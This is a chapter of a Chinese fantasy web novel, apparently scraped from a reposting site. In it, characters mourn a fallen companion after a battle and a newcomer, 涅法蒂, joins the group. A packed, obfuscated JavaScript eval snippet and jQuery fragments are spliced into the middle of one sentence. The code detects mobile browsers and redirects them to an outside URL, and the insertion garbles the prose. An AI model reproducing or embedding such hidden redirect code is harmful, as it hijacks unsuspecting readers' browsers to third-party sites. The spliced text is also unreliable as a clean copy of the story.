“哦，这么说，勇气还活着。”涅法蒂重新变回了人偶的大小，回到了伊斯卡的肩上，沉吟道，“象征中，只剩下勇气，希望，还有忏悔，责任算半个吧。王朝里面，就只剩下荣光和火种了。”


    “额，虽然的确是这样，但你这样使用代称，听起来有些别扭啊。”唐梦芸忍不住说道，“能不要称呼我为火种吗？”


    “嗯？但这样不是很酷吗？”涅法蒂这么说着，还特意做了一个pose，笑着说道，“别在意啦，过个几十年，后世的敬仰你的人们肯定会使用这样的代称的，说不定历史教科书上也会这么写哦。”


    “那拜托千万不要这么写啊！”唐梦芸有些无语，“虽然的确是为了确立标榜和给大家信念，才提出这样的响亮的称号的，但在本人面前千万不要这样，拜托了。”


    “早晚的事啦，火种，希望的火种。”涅法蒂笑着打趣道。


    “感觉你很会活跃气氛呢，涅法蒂。”伊斯卡这样说道，“明明刚刚还经历了一场大战，在之前还死了很多伙伴来着。”


    “关于那一点，我为你们感到遗憾，但是人活着不往前看，是不行的吧？我们任重道远啊！”涅法蒂突然从伊斯卡的肩上跳了下来，变成正常大小，对着唐梦尘伸出了手，“虽然这样说有些突兀，但以后我也是你们队伍中的一员了，就跟伊斯卡一样。初次见面，我是西方魔联首席魔法师，奥创图书馆管理组组长，原邪术教团与异染的第一领导人，帝姬，涅法蒂。


    “从这个瞬间开始，我们就要不计前嫌，开始亲密的合作了。请多关照，希望的象征，我亲爱的唐梦尘大人，徐凌羽不在了，接下来，从政治和组织上，栉风沐雨在重建之后，就由您领导了，对吧？”


    唐梦芸这才意识到，一直没有好好珍惜的父亲就这么被迫离开了。顿时，心里油然而生的悲伤与难过升到了咽喉，然后是眼睛，催出了泪花。


    所谓子欲养而亲不待，就是这样吧。


    后悔，后悔死了。


    唐梦芸扑到母亲怀里，低声抽噎着，唐梦尘抱着自己的女儿，也有些想哭，但眼角里只是流光倒转，变得晶莹，到底没有让泪水涌出。


    她必须坚强，无论是亲妹妹，还是丈夫，甚至是以后，最后的亲人，自己最后的两个女儿也要离自己而去，她也必须坚强，因为她身上还有重担，绝对不能这样倒下。


    她是希望的象征，希望是由他人信念所支撑存在的，所以她绝对不能软弱。


    唐梦尘轻轻拍着女儿的肩膀，无声地安慰她，劝她坚强。


    涅法蒂叹了口气，无言地看着唐梦芸，许久之后，这对母女才宣泄完情绪。


    “很抱歉，说了些会让你们伤心的话，但是，人总要向前看……刚刚我说的，你应该听到了吧？”涅法蒂这样问道。


    唐梦尘看着涅法蒂，轻轻叹了一声，点了点头，握住涅法蒂的手，这样说道：“嗯，不计前嫌，只要你不再帮助异染和邪术教团，不再做不利于我们的事情，不背叛，我们就可以合作。”


    “甚至成为伙伴，朋友。”涅法蒂笑着说道，提出进一步的提议。


    “甚至成为伙伴，朋友。”唐梦尘总感觉有些不太自然，自己可能还需要一点时间才能适应这个新朋友，“不过，熊晓庚的账我们还是要算的，你算是间接伤害我们，但他却是直接了。”


    “他随便你们哦，我也不想管他了，因为熊君的确不怎么听话。”


    “话说回来，涅法蒂，你是图书馆的魔法师，那应该认识曾义桢吧？”唐梦芸突然问道。


    “他就是我培养的，我忘了之前有没有跟你们说过，魔联历代的盅选培养，都是我主持的。”涅法蒂这样说道，“希望你们不要太反感，我虽然伤害了贝姬温妮还有曾义桢，但没有我，也没有拥有那样实力的他们。”


    “曾义桢，他说他是不死的，但他还是为了救我和我妈死了。”到了这个时候，唐梦芸也已经接受了曾义桢的死，但还是心里不舒服，感觉空落落的，“你应该知道他复活的原理吧？到底是怎么回事？”


    “你应该也看到过吧？他死后不是会出现一个人偶，人偶破掉之后他就会复活吗？你可以把那个人偶理解为复活道具。”涅法蒂这样解释道，“因为第二代盅选花费了我很大力气，从某种角度上来说曾义桢也算是我的孩子了。无论作为工具还是作为人，我都很喜欢他，不想失去他，所以我就给了他十三万个人偶，也就是十三万次复活的机会。按理说十三万次，也差不多就是无限复活了，我没想到幽宛虚竟然搞针对，直接杀了十三万次……”


    “啊，所以你才那么愤怒……”唐梦尘大概理解了，“真的很用心呢。但是，你有没有想过，培养孩子也可以用其他的方法，而不会一定是盅选？”


    “的确有更好的方法，像你这样直接培养可能对孩子的身心健康更好吧，但对于西方魔法师来说，对于我来说，盅选是最高效的。”涅法蒂似乎从始至终都没有表现出对盅选这件事情的悔改，“当然，我以后是不会做这种事的了。你们是没有听说更恐怖的盅选方法吧？其实那种方法和你培养唐梦芸的方式很像哦。”


    “培养我？利用血缘？”唐梦芸有些吃惊，她大概猜到了涅法蒂的意思，“就是像杂交水稻一样，把优秀的异能基因集合到后代身上吗？但以人类的繁育周期来说，会不会太耗时间了？”


    “邪术法师们有的是方法缩短时间，他们曾经试过把一代传代的时间缩短到三周，这还包括了选育的时间……我就不详细讲了，怕你们不舒服，就连像我这样没什么善心的人都觉得那样做很过分，从来不敢接触……”涅法蒂点到即止。


    空气有些凝固。


    “但是这么听来，虽然你和熊晓庚在管理邪术教团和异染，但还是没有办法完全管住手下？”伊斯卡问道。


    “嗯，因为以前大部分时间我们都在图书馆，亡灵战争时候你们也看到了，虽然异染有参与，但是参战的人极少。怎么说呢，可以认为我们是管理层，但大多数时候都是下面的人不理会我们自主行动，只有事情搞砸了才会找我们洗地，我们不到关键时刻也是不出来帮助他们的。”


    “哦，这到底洗脱罪名，还是监管不力的领导责任呢？”伊斯卡沉吟道。


    “你还想着找我们报复呐？饶了我吧，我可是连整个人都给你了？都说了以后给你们卖命了，不能宽厚仁慈一点吗？”涅法蒂忍不住说道。


    “我还以为你是看上姐姐很强才黏上姐姐的呢。”唐梦芸好奇地说道。


    “也有这样的因素啦……总之，闲聊和情况梳理先到此为止吧，我们是不是应该先处理一下战场？”


    涅法蒂的提议得到了大家的一致同意。


    伊斯卡开始填平之前战斗造成的深坑，涅法蒂则把幽宛虚的面具捡了起来，唐梦芸和唐梦尘来到了先前曾义桢腰斩的尸体处，两人看着下方，久久没有说话。


    “的确是个好孩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994015|172041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子啊，真的是可惜了。”唐梦尘忍不住说道，“他不应该死在这里的，以后制牌和法具的研究，该怎么办呢？”


    “魔法相关的事情可以交给我。以后栉风沐雨和学院重建，魔联会正式派遣大批学徒加入，魔法也会成为某些学生的必修课程了，法具的重要性正在日益凸显呢。”涅法蒂凑了过来，这样说道，“唉，我也很不舍呢，这孩子在注魔之前就很讨人喜欢了。要不要我把身体接起来？你们不是有片小土丘专门安葬的吗？到时候收敛好下葬吧。”


    “行吧。”唐梦尘点点了头，“至少，让他完整地下去。”


    涅法蒂的魔法书开始翻页。


    这个时候，位面通道突然打开，从漆黑之中冲出一个身影，引起了所有的人的高度警戒。


    “谁？！”唐梦芸高度紧绷的神经直接让她觉醒了焚焰，把火焰捏在了手中，差点丢了出去。


    但伊斯卡瞬间移动过来，制止了她：“别紧张，是自己人。”


    “曾义桢！你这个混蛋，居然把我强行送走了！”叫叫嚷嚷地闯进来的不是别人，正是一开始被曾义桢强行传送走的爱丽丝，后面跟着的则是紫颂。


    “爱丽丝，你慢点……诶，唐梦尘，你在这里啊，我下去找你找了好久最后却找到了爱丽丝……这里怎么多了几个我不认识的人？”由于时间差的问题，紫颂其实并不认识也没有见过伊斯卡和唐梦芸本人，现在还是初次见面，“是原本你们的熟人吗？”


    “哦，她是伊斯卡，然后她是唐梦芸。”唐梦尘简单地介绍，“然后那个小人一样的是涅法蒂，西方的第一魔法师，现在跟伊斯卡一起的。”


    于是伊斯卡和唐梦芸跟紫颂打了个招呼，唐梦芸被爱丽丝冲上来抱住哭诉一顿“你怎么才回来我想死你”的时候，心都碎了。


    她实在不忍心告诉爱丽丝真相与惨状。


    “哦，之前在始源的义桢谈起过！我知道，她们两个都是你的女儿……”紫颂突然这样说道，“诶，等等，义桢呢？文言呢？好像少了很多人啊……大家？”


    空气有些凝固。


    “幽宛虚呢？”爱丽丝感觉气氛有些不太对劲，于是问道，“伊斯卡在的话，战斗应该已经结束了吧？义桢呢？”


    没有人敢回答她。


    涅法蒂下意识地看了一眼后面的深坑，刚要收拾的曾义桢的尸体还躺在里面。


    “等等……幽宛虚吃掉了其他六个阴影，在聚落吃掉了坏理和影蛭，然后，变成了怪物……战斗开始之后，我走之前，方棱和心藤，还有纸鹞都死了……那，义桢呢？义桢呢？义桢呢？你们大家有没有看到义桢？他人呢？刚刚还在的，他刚刚还把我送出去，还跟我求婚，说战斗结束以后，我们就结婚的！”爱丽丝疯狂地摇着唐梦芸，气急败坏地问道，因为她的确也不是个天真单纯的女孩子了，所以爱丽丝逐渐意识到了，大家沉默的理由，“不会，不会吧？但是，但是，但是伊斯卡都在啊……伊斯卡，你赶上了吗？应该赶上了吧？你会瞬间移动啊！你有魔剑啊！你能回来，说明你从温良那里活下来了吧？你打败了温良对不对？你是世界最强的对不对？你……”


    本来是要结婚的两人，却最后一次分别，生死两隔。爱丽丝和曾义桢在众人之中也算是模范情侣了，拆散，这样的词汇，实在是太残忍。


    瞬间，伊斯卡感到了自责，以及，完全不知道要如何回答爱丽丝。


    要如何残忍地击碎她最后的希望。